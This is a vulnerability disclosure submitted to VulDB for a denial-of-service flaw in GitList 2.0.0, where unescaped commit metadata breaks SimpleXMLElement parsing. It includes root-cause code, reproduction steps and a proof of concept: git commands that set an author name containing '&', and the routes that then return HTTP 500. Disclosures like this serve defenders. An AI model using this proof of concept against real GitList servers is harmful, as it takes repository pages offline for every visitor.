| tiêu đề | klaussilveira gitlist 2.0.0 Denial of Service |
|---|
| Mô tả | ## Summary
GitList builds XML-like commit records from raw Git pretty-format output and parses them with `SimpleXMLElement`. Several commit metadata fields are inserted without XML escaping. An attacker-controlled repository can therefore use XML-breaking commit metadata, such as an unescaped `&` in the author name, to make public repository views fail with HTTP 500.
## Root Cause
In [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:33), GitList defines an XML-like commit format:
```php
public const DEFAULT_COMMIT_FORMAT = '--pretty=format:<item><hash>%H</hash>...<subject><![CDATA[%s]]></subject><author>%aN</author><author_email>%aE</author_email><author_date>%aD</author_date>...<body><![CDATA[%b]]></body></item>';
```
Later, in [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:422), it parses the generated output as XML:
```php
$items = new SimpleXMLElement('<items>'.$input.'</items>');
```
Fields such as `%aN`, `%aE`, and `%aD` are not XML-escaped before parsing. If attacker-controlled metadata contains characters such as `&`, `<`, or other XML-breaking sequences, `SimpleXMLElement` throws and the request aborts.
This issue is a short exploit chain:
- Vulnerability A: attacker-controlled commit metadata is embedded into XML-like output without escaping.
- Gadget B: multiple public routes parse that output with `SimpleXMLElement`.
- Chain result: `A -> B -> persistent repository-level HTTP 500`
## Trigger Flow
### Malicious Repository Layout
The attacker only needs a normal repository. A minimal example:
```text
xmlbomb/
├── a.txt
└── .git/config
```
The critical part is the commit metadata. For example:
```text
author = A & B <[email protected]>
subject = init
```
### Reproduction Steps
1. Create a repository with XML-breaking metadata, for example:
```bash
git init xmlbomb
cd xmlbomb
git config user.name 'A & B'
git config user.email '[email protected]'
echo ok > a.txt
git add a.txt
git commit -m 'init'
```
Purpose: produce commit metadata that will be embedded into GitList's XML-like pretty-format output without escaping.
2. Place the repository under a directory scanned by GitList.
Purpose: make GitList index the repository and expose it through normal public routes.
3. Visit any route that parses commit output through `SimpleXMLElement`, for example:
```text
GET /xmlbomb
GET /xmlbomb/commits/master
GET /xmlbomb/feed/master.rss
```
Purpose:
- `/xmlbomb` reaches repository rendering and commit parsing for the latest commit
- `/xmlbomb/commits/master` reaches commit list parsing
- `/xmlbomb/feed/master.rss` reaches feed commit parsing
4. GitList attempts to parse the generated XML-like output and fails.
Result: the affected routes return HTTP 500 to any visitor.
## PoC
Minimal local PoC for the parsing failure:
```bash
git init xmlbomb
cd xmlbomb
git config user.name 'A & B'
git config user.email '[email protected]'
echo ok > a.txt
git add a.txt
git commit -m 'init'
git show --pretty=format:'<item><author>%aN</author><author_email>%aE</author_email><subject><![CDATA[%s]]></subject></item>' -s HEAD
```
Example output:
```xml
<item><author>A & B</author><author_email>[email protected]</author_email><subject><![CDATA[init]]></subject></item>
```
Parsing that string as XML fails because `&` is unescaped.
|
|---|
| Nguồn | ⚠️ https://github.com/klaussilveira/gitlist/issues/948 |
|---|
| Người dùng | iswangxy (UID 99909) |
|---|
| Đệ trình | 17/07/2026 09:24 (cách đây 1 tháng) |
|---|
| Kiểm duyệt | 30/08/2026 16:57 (1 month later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 397168 [klaussilveira GitList 2.0.0 XML Parsing CommandLine.php SimpleXMLElement Từ chối dịch vụ] |
|---|
| điểm | 20 |
|---|